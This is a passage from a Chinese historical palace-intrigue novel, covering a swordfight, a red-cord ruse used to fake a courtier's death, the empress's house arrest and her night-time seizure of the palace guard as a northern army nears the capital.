周景知敛了神色,而苏尚仍在笑道:“你知不知道你现如今做的一切事情都没有任何意义,就算你帮她达成了她的目的,她也不会感激你,你从她身上得不到任何东西。” 周景知翘首,脸上侧了侧,苏尚便以为他不知那话中之意:“她做这一切的目的都只是为了一个人。” 苏尚伸出食指用力比划:“就只有那一个人。从事情的开始到事情的结束,贯穿始末的都是那个人,而你在其中便是连影子都算不上。” “你或许不相信,但是这几年来,我在她身边看了太久太久,久到看她一点点给自己染上那个人的影子,所以你想要的,她给不了你,她也不可能给你。”他话语说的笃定,“也许你觉得还可以争一争,然而‘争’这一字,只对与你争抢的人有用,那已经死了的人,早已经被刻进骨血里的人,你却是连和他‘争’的资格也没有。” “而充其量你也不过是……那战场之上,被先登之功钓着的士卒罢了,你为她冲锋陷阵,九死一生,而她到最后却可能连你的名字都记不住。” 苏尚这话说得畅意,就像将积压许久不忿通通随这话一齐泄出,故而他上身后仰,放松地坐在马上,愈发畅快道:“所以你说,你值不值啊。” 周景知垂眸,本已竭力压制却还是没忍住笑出了声,他忍了忍后抬眼道:“看来苏大人是要诛我的心啊。” “可是哪里不值了?苏大人不也说过,我如今做的这些不都只是为了我自己么?”他摊了摊手,“你看我,入朝不过一年时日,就已从一个八品御史升至四品侍郎,如此快的晋升之路,这世间有几人能做到啊?这还不是我从中得到的么?” “果然还是为了你那一官半职的私利。”苏尚喃声,笑意却更盛了,“那你真该死啊。” 周景知从容道:“这不是苏大人说的么,反正其它奢求都已无望,那我何不求些拿得着看得见的东西?那四品官印刻得当真精致,让人爱不释手,四品官印都尚且如此,想那相公之印当更是令人稀奇了,也难怪有人身居高位之后仍不满足,手还想往更宽更远的地方伸,就要攥得更多的东西不放。” 苏尚对他的嘲讽轻轻一笑:“此行路上,徐大人便好好想想那相公之印会是何等质地吧,毕竟一生能拥有它的人也没几个。” 说着,他拉了缰绳竟主动外一旁退开:“时间也不早了,我便不耽误徐大人赶路了。”他面泛微笑,再次说道,“徐大人,一路走好。” 周景知从他身旁遛马而过,道:“吉言听得太多,这次就不借苏大人的了,苏大人自己留着用吧。” 话落,周景知一下猛拉了缰绳,随后高喊声“驾”,驾马冲了出去。 苏尚却在他拉起绳的那一瞬间全身僵住—— 那红绳……! “郎君!” 不过几息时间,苏尚调转马头,不顾侍卫的呼喊,在同样的一声高喊下,他穿入前方扬起的尘土,追赶而去。 后面的马蹄声杂乱无比,周景知感觉到一股杀气的逼近,立马拔出马背上的剑向后砍去。 剑身碰撞在空气中,擦出几多火花。 苏尚的剑向他压来,他借着转身的力道,微一用力,往上一抬的同时将苏尚的剑撩开。 可是苏尚就像疯了般,调整之后再度向他砍来,这一次,他竖剑一挡,却又不得不化那砍来的力道,飞身下马。 二人先后落到地上,剑身碰撞声音不止。 苏尚的人也在这时追赶上来,拔了剑拖住了原先在周景知身边的侍卫。 周景知也顾不得为何苏尚现在就沉不住气要杀他,他只能先迎着不断向他杀来的招式。 果然在两剑相持间,他看着苏尚气红的眼,听苏尚说道:“你凭什么拉她下地狱,你凭什么和她共沉沦,那最难熬的三年,守在她身边的人是我!” 于这一刻,周景知也再难忍住:“可那三年如何而来,你不知道?!” 苏尚一顿,然后手上更用力,再次重复:“那也是我!” 周景知强调:“是你偷来的三年!” 说完,他手脚同时用力,先将身前之人往后一推,在猛一抬脚向那人踹去。 苏尚虽竖剑挡了挡,但还是止不住地往后退了几步,他的侍卫脱身而来将他扶住。 他再次将目光落到了那醒目的红绳上。 握剑的力道加紧,脚底擦着地上的沙石一转,苏尚便又要上前,身后的侍卫赶紧拉住他。 “郎君!冷静啊!这里还是京畿!” 侍卫低声与他说:“相爷的计划郎君不是刚才还安排下去了么?” 苏尚便想起他今日出城真正的目的,火气也跟着消了些。 他将目光从那鲜亮的红色移开,看向周景知:“杀了你,于我而言没有任何好处。此行去江南,你可借道去扬州,那是你的故地,也是你最好的栖身之地,你想清楚,这亦是我给你最切实际的忠告。” “你是不是很喜欢在行恶事之时留有余地,以此让那在余地中得生的人来感激你的大恩大德?” 刚转过身准备离去的苏尚停下,他回身看见那人对他的话无动于衷的神情。 周景知见他望来,不屑笑了下,淡声道:“可惜啊,我不仅不领你的‘恩’,更不会记你的‘好’,我只会觉得你可笑。” 苏尚脸色苍白,听着那话眼皮眨动时,嘴角却抽搐地笑了。 —— 十日之后,京城大雨磅礴,殿外雨声和劝阻声混杂在一起,上官栩将手中的纸张塞入了坐垫下。 苏尚浑身湿透,衣物各处还滴着水地向她走来。 她走出几步,他停在她身前。 他额上、眉睫尽是水珠,不住地往下滴滑着。 他就这般进来,完全不顾殿外宫人的阻拦。 这是他第一次在她面前如此失态。 上官栩在他浑身水汽的笼罩下,紧盯着他的眼,开口道:“你怎么来了?” “我来给殿下送东西。” 苏尚一目不错地看着眼前之人,手下慢慢抬起,将挂在指上的那根暗沉的红绳展示在了她的面前。 上官栩瞬时瞠大了眼。 第86章 苏尚眼底的神情因上官栩的神色而微有变化,如被寒气凝聚的沉郁略有散去,取而代之的是几抹隐秘而轻快的 笑意。 他开始换了种眼神看她,更柔,但也更有兴致。 上官栩从如被震慑的怔忡回过神,她慢慢移眼,将视线从那红绳上移向了红绳后的那张脸上。 苏尚神色如刚才般等她向他看来。 “你是如何得来的?”她看着他轻声问。 苏尚看了那红绳一眼,轻飘飘道:“殿下送给的谁,我便是从谁那儿得来的。” 上官栩的眼睫抖颤了颤:“你把他怎么了?” 苏尚道:“我没将他怎么,只是有人看不惯他那幸臣行径,便替天行道除了他。” “除了他?”上官栩双眼震愕。 而苏尚见她眼中似还有抱有不切实际的期望,便更是一字一句道:“百丈山崖,横树丛生,下面碎石遍地,自然只能是粉身碎骨了。” “这红绳是其中最为干净最为完整的,至于其余其它碎肢,臣怕殿下看了不适,就不带给殿下看了。” 她呼吸骤然加重,眼眶泛红:“所以你杀了他!” “杀他的不是我!”苏尚看着那泛红眼眸下的恨意,猛地将那指上的红绳扔出去,“我真是不明白,你怎么会对他生了情?你怎么会这么在意他?!” 他踩着步子一步一步将身前的人逼退,边走边道:“记得以前,最先和你相识的人是我,最先和你共度节日互赠礼物也是我,可是到头来你却喜欢上了另一个人。”他应是愤恨更多地点了点头,继续道,“不过如此也就罢了,既是你喜欢的人,你选择的人,我自然该祝福,该成全。可是后来他死了啊。” “他死了之后你还为他守了这么多年。” 哐当一声,上官栩膝弯碰上坐榻,而他仍旧逼近,她退无可退只能一下坐了下去。 他看着她眼底因他动作而惊惧的神情似自嘲地笑了笑:“年少情深,你要守他我也能理解,可是你要守就要一直守下去啊,你怎么就能因为一个凭空出现的人就突然放弃了,突然不守了呢!” 他目中生狠,一下俯身下去,双手撑在她身边将她圈在自己的怀下。 他的声音就像从喉中挤出来一般:“既然你可以不守,那你为什么要选他而不选我。”他目露偏执,“又凭什么不选我……” 上官栩在他的威压下仰脸看他,她的神情慢慢平静,眼神甚至一点点趋于淡漠:“你想知道为什么是么?我与他之间的我不想多说,但我与你之间,只需一个缘由,我们就不可能。” “什么?” “熙宁七年,上巳夜。” 轰然一瞬,苏尚周身的气压骤然溃散,他脸上的那股偏执也在刹那间褪得干干净净,只剩下一股错愕,不,准确的说,错愕之下是多年来一直逃避的事实被人直接挑明后的慌乱。 然而他还在坚持道:“那事情和我有关系么?” 闻言,上官栩不知是何情绪地笑了:“没有关系么?其余的暂且不提,始作俑者是谁你不会不知道吧?你与他之间的关系就是我们之间永远无法跨越的鸿沟。” 苏尚心中生痛,却又不甘心地蓦地一问:“所以你连你的阿兄都不原谅么?” 上官栩惊怔一瞬,唇瓣开开合合几次,才不知是笑还是讽地吐声道:“苏叙白,原来你到了此刻,想的还是用我身边之人来压我?你究竟看没看清,我们之间的问题到底是因何而起?” “可是我五哥也已经死了,一命还一命还不够么?” “可是你们到底欠了几条命呢?所谓的还命,又真的能让逝去的人再回到这世间来么?” 她的声音不大,甚至近乎淡然,可是听入他耳中却是那般的刺痛。 他慢慢站直身,身姿颓然地站起原地,又叹着摇头笑:“好啊,都回不来了,这不是正好么?”他向她看去,“都回不来了。” 上官栩直视他的目光,隐隐露出笑:“但是我相信他没有死对不对?不过一条随时可能脱落的红绳,如何就能证明他死了呢?” 苏尚:“我说过,我只是不想让你看那碎肢生出恶心。” “我不怕恶心,我只怕让有心之人得逞。” “难道你看了碎肢你就能认出他了?头都碎了,脸都凑不出一张整的了。” “你不知道么?对所爱之人,哪怕只看他的眉眼都能将他辨出。他就是没有死,对不对?所以你不敢把你口中所谓的碎肢带给我看。” 上官栩再道:“你除了一根红绳一无所有。不,”她转头看向那被他扔到地上的暗沉红绳,“你连一根红绳都没有。” 苏尚闭眼忍怒:“我的人亲眼看他坠的崖!” 上官栩嗤:“怎么就是你的人了?你不是刚才还说是旁的人替天行道么?是旁的人杀的他么!” 她看他恨恨地向她看来,坚定道:“我还是那句话,不见他人,我绝不相信我现在听到的任何事。” “好,”苏尚攥了拳,“你要见他,那我就带他来见你,就算他面目全非我也让人给他缝好了再来见你!你要死心,我成全你!” “但是你别忘了,你身边不止有他,那些与你亲近的人,你若想他们安好,之后便不要再做傻事。有些事情,试过一次便足够了。” 什么事情,为昭帝复仇的事情? 上官栩摇头哂笑。 苏尚将她神情尽收眼底,却也撇头道:“有些人能赢你一次便能赢你两次,而所谓争斗中取胜,并非侥幸为主,更多的还是实力。” “从今日起,太极宫守卫由金吾卫全权掌控,羽林卫中再抽调部分兵马协助守卫,殿下身体不适便在立政殿中好生安养吧。” 说完,他头也不回地阔步离去。 —— 北上的官道上,马蹄踏过,飞溅起一片泥泞。 周景知驾马行在最前面,他早已换上一身蓑衣,帽檐低压,马不停蹄地往前赶,天地间,大雨如注,然而他们一行的却不再是三人三马。 牵拿缰绳的手在驾马的过程中随动作起伏,周景知时不时地向他手腕处看去。 那抹红色在昏沉的天光中,雨水的洗刷下更加鲜亮。 遥想他扔给那群人的那根老旧的红绳,他低低一笑却又有些不忿,人就是这么奇怪,扔掉的主意分明是他出的,过程也与上官栩商量好的,可是真扔了他又舍不得了—— 那是她送给他的第一条红绳啊。 周景知心痛,驾马期间便又对那腕上的红绳多看了几眼。 —— 立政殿内,上官栩在苏尚走后松了一口气,刚才与他对峙那么久实在是费了一番心力。 早在周景知这次出京前,上官栩和他便料到苏氏会在路上动手脚,所以他们在最开始就为苏氏的人制了一团迷烟。 明面上,周景知是要下江南接手江南世家之事,但其实他只是为了把苏氏的人引到前往江南的那条路上,他的真实方向,是北上。 平、营两州,安北都护府都在北边,他需要去到那里为接下来的计划做准备。 而留在宫里的上官栩则是要掩护他。 苏尚拿来拿根颜色已经发暗的红绳时,她便知道,他的第一步“金蝉脱壳”之计实施成功了。 但也不得不承认的是,当那红绳真的递在她眼前时,她心头还是不由得一紧。若非是那暗沉的颜色,和绳结编织的略有不同的细节处理,她当真就以为自己又经历一次熙宁七年的那场变故。 所以那时她面对苏尚的表现不全然是装的。 窗外雨打风声不停,肃寒的气息被卷入殿内,上官栩对着那地上的红绳看了良久。 然后才慢慢过去俯身将它捡了起来。 她坐回到罗汉榻上,将捡回的东西放在上面,沉吟片刻之后,再从坐垫下拿出了她刚才藏入里面的纸张。 她打开,对上面所列的内容再看了一遍。 她想起刚才和苏尚争执的那些话。 那些话自是诸多都是依从她心中真实想法而说出来的,但她更主要的目的还是为了激怒苏尚。 她要让苏尚将注意力都放在前往 江南的那条线路上,让周景知能够更顺利地北上,同时,她还要让苏尚忍无可忍,彻底暴露他内心真实想法。 就比如,他要控制宫闱。 金吾卫虽说自从薛弘死之后就由立场中立的玉华公的女婿谢谦担任了大将军,然而这段时日来谢谦连日抱病在家,上官栩便觉得或许苏氏早已将其控制。 而至于薛弘旧部,虽说最初对苏相多有抵触,但到底都是有所图谋的人,一旦条件开得高了,他们也就倒戈了。 果然,也正如上官栩他们之前猜想到的,金吾卫已在苏尚的掌控之下。 不过除了金吾卫,上官栩还要验证的一件事——羽林卫中到底有哪些是苏氏的党羽。 记得当年遭遇刺杀时,船上的羽林卫都对那刺客恍若未见,自那时起,上官栩便知道羽林卫里的人不干净了,而虽然这几年她也都有清理,但羽林卫人数众多也难保有漏网之鱼。 便只能让那幕后之后自己从池中将那鱼捞出来了。 上官栩看着纸张上写满羽林卫各级将领的名字,抬眼,透过窗隙望向屋外的大雨。 心道,马上她就能将人彻底清理了。 第87章 自金吾卫接管太极宫守卫后,京城其他地方的气氛一时间也变得紧滞起来。 风雨欲来,就似要变天。 苏尚坐在苏望的书房内,闭眸消化着刚才苏望与他说过的话。 这已经是金吾卫接管太极宫的第三十日了,然而也是北方传来平营两州叛乱的第二十七日。 那叛乱起的突然,名号也打得模糊,只说当今天下忠良蒙冤,奸邪掌权,故而要“拨乱反正,诛奸佞,安社稷”。 而消息传入京的时候正是神策军行营节度使霍甘还在京述职的时候,消息传开后不久,他就向朝廷自请领兵平乱。 这也自然是他提前与苏望商量过的,然而其实也不算商量,他话的语气虽然依旧恭敬客气,但是话中内容却隐隐有着谈判相胁的意味,也就是让他领兵叛乱是让他投效苏氏的前提条件。 这话听在苏望耳中自然是不快的,要知道地方生了乱事,首先派出平乱的力量当是驻在地方的兵马,只有地方难以压制时才是朝廷发兵支援的时候,而身为神策军行营节度使霍甘在第一时间就主动请缨出战,无疑就是因为觉得此次的乱事没成气候,易于平定,他便能借此拿个军功罢了。 然而,若真到需要朝廷派兵支援的那一步,霍甘也确实是最适合的人选,神策军虽主要负责守卫京畿,但当其它地方发生乱事时,出征平乱同样也是它的职责。 所以最后,朝廷下令由霍甘率兵北上平乱,只是因为最先霍甘表现出来的态度,苏望还加派了亲信监军随行,且对霍甘带出兵马也受了限制。 而据前线传来的消息,霍甘率兵出征的这二十多日似乎一切都是向好的。 只是也太好了…… 苏尚闭着眼深呼了一口气道:“叛军再加上霍甘带去的神策军,两方共几万人,竟能二十多日都这般平和,没有大的战事,全不过都是些小的冲突,未免也太令人匪夷所思了吧,看似一切都是利好朝廷的,可是为何那乱事就一直没平定下来呢。” 而且那乱事也来得奇怪,只起事那段时间有了声响,后面便也就安静了下来,甚至到了这几日就是朝廷派出去的探马也未能探回什么有用的消息。 苏望刚将今日送回消息拿给苏尚看过,父子二人皆对这连日的利好消息起了疑心。 苏望先问:“你最近还在往外派人?” 苏尚瞬时睁了眼,默了默后道:“嗯。” 他知道苏望问的是他派人出去找那个人的尸体的事。 自上次在立政殿中,他与上官栩对峙过后,他便铁了心地要找到那人,让她死心。 可是苏望却明显对他的这番行径有了不满:“还在找?都找了一个月了,听说山上崖下,哪怕峭壁上,你都让人拴了绳子找了个遍,就这样都丝毫没有找到那人的半点踪迹,到现在,你还不死心?” 苏尚无动于衷道:“也并非毫无所获,一些衣服的碎片还是找到了的,况且行去江南一路我都派了人,也没有发现他的踪迹。”他垂下眸,转着手上的扳指,“或许早就被野兽分食了吧,不死心的人也不是我,不过就是有人想要个交代罢了。” 苏望冷冷哼一声,看着那下首之人的侧脸,心想,若真的放心了又怎会再派人到去到江南的路上巡查呢。 苏尚无声地玩着自己手上的东西,压着心中的不安。 “还是先想想霍甘的事吧。”片刻之后还是苏尚先开了口,“北边这么安静顺利,我始终觉得不对,要不要再派人去查探?这次查就换个理由查,北边这么多重镇,也都该查探一番了吧。” 说到这里,苏尚突然一顿,抬眼望向上首之人:“对了,安北都护府近日在做什么?他们对平营两州的乱事就丝毫没有动静?” 说着,他又轻声呢喃,“平州,营州,安北都护府,奇怪,怎么觉得这几个地方有联系呢?” —— 立政殿内,上官栩躺在侧室内的美人榻上,又是百无聊赖的一日。 自从那日之后,她便被软禁在了立政殿内,所有消息出不去也进不来,她就只能每日寻些书本字画打发时间度日。 不过有些时候,倒也是有外面的人来找她说话的。 不过是苏尚。 闭目养神间,她听见殿门被开启,缓而沉的脚步声一步步清晰,她便知道是苏尚又来了。 她便率先起了身,走到了侧室门口。 苏尚果然停下脚步,看她。 “你知道是我?” 上官栩瞥眸轻笑,边往外殿的座位上走边道:“任谁的脚步声多听段时间都会觉得熟悉的。” 她走到罗汉榻上的一边座位上坐下,一边手肘搭上凭几,垂下的手指和另一边的勾玩着道:“怎么,你找到人了?” 苏尚本因她的那句熟悉,神色而微有畅意,但也亦因她后面这句话再次冷沉下脸来。 上官栩见他没说话,抬眼看他,饶有兴致地慢悠悠道:“看来还没找到,那你来做什么?” 苏尚因这话起了火,带着周身气息俯身压制她身前:“你就这么相信他没死?” 上官栩笑意散去,移眸看向它处,似对他所问的那话并没有自信:“这重要么?我整日被你软禁这里,本也没有多少的盼头,如今能问的不也就这些么?” 她语气落寞,这般可怜,不讥讽他时,他才发现这段时日她消瘦了许多。 他便柔下语气道:“你当然是有的,只是你不要罢了。” 苏尚坐到了她旁座的位置,伸指探了探案几上茶壶的温度:“天凉了,便不要喝这些冷了的茶水,让青禾她们及时添换新茶。” 说完,他唤了人进来,让将茶壶里的水换上温烫的。 待到人下去之后,苏尚又道:“陛下这段时日很好,也很听话,你不必担心,朝堂之事也都有条不紊地处理着,北边也都已安定了下来。” “北边?”上官栩不解道,“北边发生了什么事了?它不是一向安定么,你话中是何意?” 这一月来,立政殿被切断了与外界的一切联系,包括和小皇帝之间的,所以朝堂颁发政令会用到的天子玉玺也不用上官栩这边知晓,故而这一月在外面发生的事,按理说上官栩是完全不知道的。 苏尚目光幽深地望着她。 她疑惑的模样当真没有一丝破绽,反而还带着些对外界事物丧失了解的焦急。 苏尚便开口道:“没什么大事,不过就是有些乌合之众聚众闹了场事罢了,朝廷已经镇压下去了。” 上官栩又问:“怎么会突然起事,他们打的什么名头?” 苏尚沉吟片刻,并不真切说道:“自古以来做这些事的能有什么名头?还不都是那些冠冕堂皇之言罢了,反正也没掀起什么风浪不必在意。” “既已镇压下去,那为首之人可是擒住了?可是押送入京了?” 闻言,苏尚似笑非笑地向上官栩看去:“你好像对这事很关注?” 上官栩便知他在试探什么了,便摇头几不可闻地嗤了声,反问道:“谋逆之事不该关注?十恶之首,我要淡然略过?而我若真地就无视过去,你可又会问我为何反应如此淡漠了?” 她直言:“有事便直接问吧,何必拐弯抹角地试探。” 想法被无情戳穿的那刻 ,苏尚的心绞痛一瞬,他眸光依旧落在她的脸上,可是他的呼吸声却陡然清晰起来,稍缓后才道:“不过随口一问,你何必就要这般激我?难道我连问也问不得了么?难道我的话便都是试探么?” 他转过头看向地面,深呼之后回答她最先的问题道:“为首之人没有抓住,只是局势稳定了下来,不过依现在的情况看,擒住那为首之人也不过是早晚的事,所以你也不必为此忧心。” 诚如上官栩所说的那般,苏尚说起北边乱事的确是起了试探之心。 不知为什么,对于眼下平营两州的乱事,苏尚始终觉得非是如他看见的在明面上打出的名号那般简单,可是内里到底有什么更深的图谋他却也暂时想不出,所以哪怕他对眼前之人有所怀疑,他也对北边乱事的情况却也并未有过多矫饰。 只因他觉得若她真地参与到了那事里面,那他恐怕只会说多错多,让她察觉到什么,倒不如就这般模糊地将外面的事情讲给她听,而于这样的事上哪怕只将其中一二放大,都说不定可以让消息闭塞的一方自乱了阵脚。 所以他只说现下由朝廷的兵马掌控了局势。 然而那话之后她也没再说话。 苏尚便以一种关心的口吻问她:“怎么不说话了?你还想知道什么都可以问我,这段时日你是无聊了些,所以我今日来也是想与你多说说话。” 上官栩语气寥寥:“没什么想问的,反正知道了也没什么用。” 听了她这话,苏尚有几瞬就想直接撤了殿外的金吾卫,解了她的软禁,可是他又压了下来,只道现在还不是时候。 果然,她下一刻就道:“你打算将我关到什么时候?关到北方乱事平定?还是要更久?十年后?一辈子?” “当然不会。”他很快给出答案,“其实很简单,你承认他死了,放下一切过往了,有了其它盼头了,这太极宫便依旧是任你出入的地方。” 她笑:“然而我真如你所愿,告诉你我承认了,放下了,你就相信了么?” 苏尚不说话。 上官栩低眸:“再帮我找找吧,死要见尸,到底也算是为我做过事的,我便总要给他个交代。” 虽她话语依旧执着于那人的下落,可是苏尚听了眉头却舒展了不少,心气更是舒畅了许多。 她话中之意分明就是承认那人已死,而她现在不过就是念及一些旧情要给他个身后体面罢了。 苏尚当即露出笑:“好,我定帮你找到。” 上官栩看着苏尚离去的身影,眼中的落寞渐渐散去,转而眸光一点点沉下来。 她心中暗暗想着,北边的事越晚发展到明面来越好,那便将他的精力更多地拖至江南那边吧。 —— 在一片紧张的氛围中,京城里的人又度过了十日。 这夜,在太极宫轮值的金吾卫是由顾筹负责。 自金吾卫接手太极宫的守卫后,金吾卫的中郎将便轮番至太极宫值守,其中数顾筹在轮值期间,对各路章程的执行最为妥帖,故而他也深得主将信任。 立政殿外,顾筹带着亲兵换下原本守在殿外金吾卫,然后在对身边的人嘱咐了几句,便独自进了殿。 夜已至三更,上官栩却在殿内穿着整装,似就是为了等待来人。 顾筹于几尺外停下,恭敬地向殿中之人行礼:“娘娘,金吾卫今夜的安排已然妥当。” 上官栩沉吟:“算时日,他们应该已经进入京畿了?” 顾筹颔首:“是,最迟不过明早辰时,他们就会进入驻守在长安城外的神策军的巡视范围,届时行踪便再难隐藏。” 上官栩喃声:“所以我们今夜必须夺下太极宫的掌控权,且要坚持到他们到城外的那天。” “今夜值守的金吾卫都是可听娘娘调动的,只是与金吾卫协同的羽林卫……”顾筹微有迟疑,“以前的那些将领还都在宫外各府中,被控制着。” 自苏尚掌控太极宫后,调来协同的羽林卫便都是由苏氏以前安插进来的亲信将领掌控,而至于以前的,听令于上官栩的重要将领都被以各种理由软禁在府,羽林卫施行统兵制,也就是说唯有将那几个苏氏亲信控制住,羽林卫才能重回上官栩的手中。 思及此,上官栩目露凌厉道:“羽林卫将领一事有人助我,只待我们与他里应外合。” 月黑风高,长安城中已然宵禁,然而在金吾卫未曾注意到角落仍有黑影闪过。 上官府内,上官栎独身一人,跪在满室长明灯火的祠堂内,他听见后面的脚步声。 “就是今日了么?” 阿筝点头:“是,时间紧迫,有劳大郎君。” —— 京畿重地,于蜿蜒山道中,有队伍如长蛇的军队快步穿行其间。 三军中,旌旗林立飘扬,高马肃兵,整个队伍气势尤盛。 而行进过程中,马蹄脚步声交错间亦有车轮旋转的声音—— 一辆马车在队伍中前部行驶,周围重甲锐士环伺,挎刀驾马,身姿稳健,目光警惕。 唯有一人,驾马在旁,金盔铁甲在身,却频频侧首向车厢方向,声音也全然不带如甲胄般的冷硬,反是温缓道:“就快要到了,到时你便不用再这般折腾了,可以缓一缓了。” 车厢内传出轻笑声,回话中带了些打趣:“我倒不觉得折腾,明日我还想骑马呢,五哥,到时候我若哪里做得不对,你可得帮一帮着我啊。” 马上之人再度侧头看去,车帘轻掀开一角,车内昏黄的灯光漫射出来,他借着那光看见里面青年眼部罩着的白纱下唇间扬起的笑意。 第88章 在上官栩与顾筹准备带着金吾卫出发前往收服羽林卫的同时,长安大街上也有一辆马车穿行在各府邸间。 马车上的人,手持着令牌,却并未将手伸得太出去,深夜光线太暗,只隐约地看得见令牌上的一个苏字。 “苏公要见人,将他们带出来。” 马车上的人淡淡抛出一句话后,就将那令牌收了回来,而外面上前来询话的人根本就来不及将那令牌看清。 又见外面的人有迟疑,马车里的人再冷声道:“怎么?有问题?” 车外的人立马垂首道:“先前上面吩咐好的,任何人不得将府中之人带离。” “那我让苏公亲自来领人?” “不敢!” 车外的人连忙埋头告罪,不过也好在车上那人并未因此大做文章,反是软了声道:“你司职金吾卫,刚说的上面应该指的也是你的将官吧,那你便看看我身后跟着的都是谁。” 那金吾卫往马车后瞟了一眼,见果然跟着的也是一对金吾卫。 “时间紧迫,岳父急着见人,切莫在耽误时间,否则真误了事我便只有让你亲自去向岳父解释了。” 守在外面的金吾卫听了这番含着威胁的话后全身不寒而栗。 抛去车上之人的国舅身份不谈,便只是其苏公女婿的身份就足够让在场之人对他敬畏。 再者,虽说宫里最近有了变化,但马车上那位国舅却是丝毫没有受到影响,虽说他出面的次数不多,但府上的夫人却的确每日都能随意进出府邸,自由来回于苏府和上官府之间,这其中缘由自是不必多说。 想到这些,又想到最初马车上那人拿出的令牌,那金吾卫自是不敢再问,连忙拱手应是。 带了人出来后,由跟着马车而来的金吾卫领过,马车启动前,车厢内的人又发了话。 上官栎车帘并未掀起,只道:“你们继续在这儿守着,待人送过来继续看守。” 留守的金吾卫宽心不少:“属下遵命。” —— 留驻在京畿的神策军,每个日夜都会照常派出斥候,将驻地外方圆十余里地全部查探一遍。 从北面而来的军队自进入神策军的巡查范围之后,就兵分两路往不同的方向去了。 本循例出来巡查的神策军斥候,于山野至高处看见山中蜿蜒的队伍后骇然一惊,立马调转了马头,往大营奔去。 太极宫内,负责巡视的羽林卫被一队队分隔开,于一条条巷道中被金吾卫夹击,而由羽林卫负责守卫的那几道宫门,为首的亦是在宫墙上就看见了向他们那处赶去的金吾卫。 其中一道门外,还有一辆马车向他们处驶来,而门内,向他们行去的是顾筹…… —— 今夜,分明是晴夜,然而明月高悬,风却一阵一阵地吹入房内,带着书案上的纸张沙沙作响。 苏尚按了一次又一次。 他看着那没有被按住的纸张角落还在不停地随风飘动,不由得眸光一沉,眼中带上一分寒意,然而他心中亦难以忽视地有了不安。 “郎君!” “何事!” 面对门外突然传来的呼喊声,苏尚将头猛地往房门处转去,同时开口回应。 “城外传来急报,相爷让您速去书房议事。” 书房内,苏尚第一次见他一向沉稳,喜怒不形于色的父亲发了这么大的火。 地上全是被抛撒下来的书册。 “怎么了父亲,城外传来的是什么急报?”纵是已然猜测到今夜发生的事情不一般,甚至可能是极不利于他们的,但苏尚也仍先缓着声音问道。 事情已经发生,他们作为为首者便一定要冷静。 而不待苏望回答,苏尚便看到了上首位置放着的一张带着军队标志的信纸,他双眸一觑,先问:“可是北方有消息了。” 苏望闭眸深呼了口气:“是,也不是。”他转头向苏尚看去,“北地的乱军,到了京畿以北了。” “什么?”苏尚恍惚一瞬,瞠大了眼。 —— 太极宫内,羽林卫所守卫的宫门一片混乱,火光滔天,血液横流。 那原本强硬着姿态,不容宫门里外的人靠近的羽林卫中郎将此时被四手钳制,埋首无力跪于地面。 顾筹嫌恶地瞧了几眼之后,抬手示意将人拖了下去。 马车已入了宫,从马车上下来的几人,分列两列,齐齐向身前之人拱手请罪。 顾筹将各宫门传来的羽林卫的情况汇给那人。 上官栩听后点了点头,又抬眼将众人愧疚形态纳入眼底,她坚定的声音宽慰道:“此番祸事非诸位将军之过,实是贼人用心险恶,防不胜防,今冒险请各位将军入宫,也实是眼下形势危急,唯有请诸位将军与我同担危局,勠力同心,将太极宫门守住,将大晋基业守住,直待援军的到来!” “殿下放心,末将等愿以命护宫门。” 众将单膝砸地,齐声高喝:“与大晋共存亡!” 然而亦有人随之问道:“敢问殿下,援军是何人所率而来?” 上官栩凝眸望去,一字一句:“熙宁,皇帝陛下。” —— 苏望书房内,苏尚在一阵错愕中回了神。 他压着声,竭力平静道:“怎么可能?成千上万人的队伍怎么可能就这么悄无声息地潜入到京畿地界?” 说着,他眸光又蓦地一乱:“他们不是普通的乱军么?他们到京畿来做什么?” “且以兵家作战的惯例来讲,纵是他们有野心,刻意绕开各城的巡查范围至京城脚下,想直接威胁京城,也不可能在孤军的情况下绕后啊,这样岂不是将自己置于腹背受敌的境况中?” 苏尚握住拳,内心的不安愈盛:“那京畿的神策军呢?就让他们直接进来了?不过乌合之众,神策军便可以直接拿下啊。神策军可有动作了?可有策略了?” 苏望还未从刚才的余愠中平复过来,闭眼控制道:“刚才斥候来报我便让他传令回去,让神策军直接应敌,然而霍甘带人出征,到底带出去了不少人,如今神策军中亦缺大将,那乱军又能悄无声息地到京畿,只怕这件事情平复起来不会那么容易。” 霍甘,大将…… 苏尚仿佛意识到了什么一般,骤然醒神,连话都没说地转身就往走。 他脚下急速,边走边道:“备马!” —— 关押那几位羽林卫将领的府门外,苏尚马都尚未勒停就直接抬腿下了马。 他不顾守卫的行礼问候,直接道:“里面的人呢?” “苏公不是要见人,让上官大人带走了么……” “废物!他说什么就是什么?谁允许你听他的话,让他将人带走的!”还未听那人颤巍巍地将话说完,苏尚就一脚将人踹到在地。 那守卫的金吾卫慌忙跪身请罪:“是、是上官大人拿了苏公的令牌,卑、卑职不敢不放……” “令牌?什么令牌?” “光线太暗,只隐约见了上面有一个苏字。” “苏字……” 苏尚细想片刻,忽而怒笑一声。 苏字,他们苏家儿女中,任谁都有一块带自己名字的玉牌,上官栎拿的当是他姐姐苏凝的玉牌。 倒是把他忘了。 还以为上官栎自那日向上官栩“坦言”之后便心灰意冷,不再参与任何外界之事,更是再无颜面对她,没想到他这一次竟…… 不对,他是怎么和她配合上的?在她被软禁之前,他们兄妹之间就已然许久没了联系,他是怎么在这时候知晓她的打算的?而且他不保她了么?他不是以为她中毒了么? 苏尚越想越慌,越想越乱,他转身下阶上马。 “速让今夜在城中值守的中郎君率兵前来,随我入宫!” 急切的马蹄声在街道上交错响起,杂乱打破宁静,马蹄踩过地面,带起震动。 苏尚领先于队伍前,身姿稳而低,俨然一副驭马疾驰之态。 驾马声音不止,直向太极宫中而去。 然而一切希冀终于在那紧闭的宫门外破灭,刚才所想亦终于有了个准确的答案。 他勒马于宫城下,眼底微有泛红,目有不甘地仰脸听那顾筹于城墙上说道: “苏大人此时携兵马而来,是要闯宫么?” —— 京畿,神策军主营地。 夜色如墨,寻常时候,营地中,本来除来回巡逻的士兵走路时甲胄碰撞发出的摩擦声,便只有篝火燃烧时干木发出的噼啪声。 然而今夜却在斥候的“京畿有异”四个字的影响下,全营都发生一场巨大的变动。 早在斥候传回消息的那刻,暂领全营的兵马行营将军就派人往京城送了信。 然而却在见到营外的“霍”字帅旗时失了判断。 整座行营已被人控制。 在一场以主将为饵从而诱开营门的战役结束后,“赵”“丰”二字军旗开始入驻大营。 霍甘在被利用完的第一时间就又被控制住,被单独关押在一营帐之中。 丰王周昱骑着高马,神态倨傲地向那被擒住的守营将官处去。 看着眼前那携胜而目有轻佻的人,守营的将官没忍住唾骂:“乱臣贼子。” 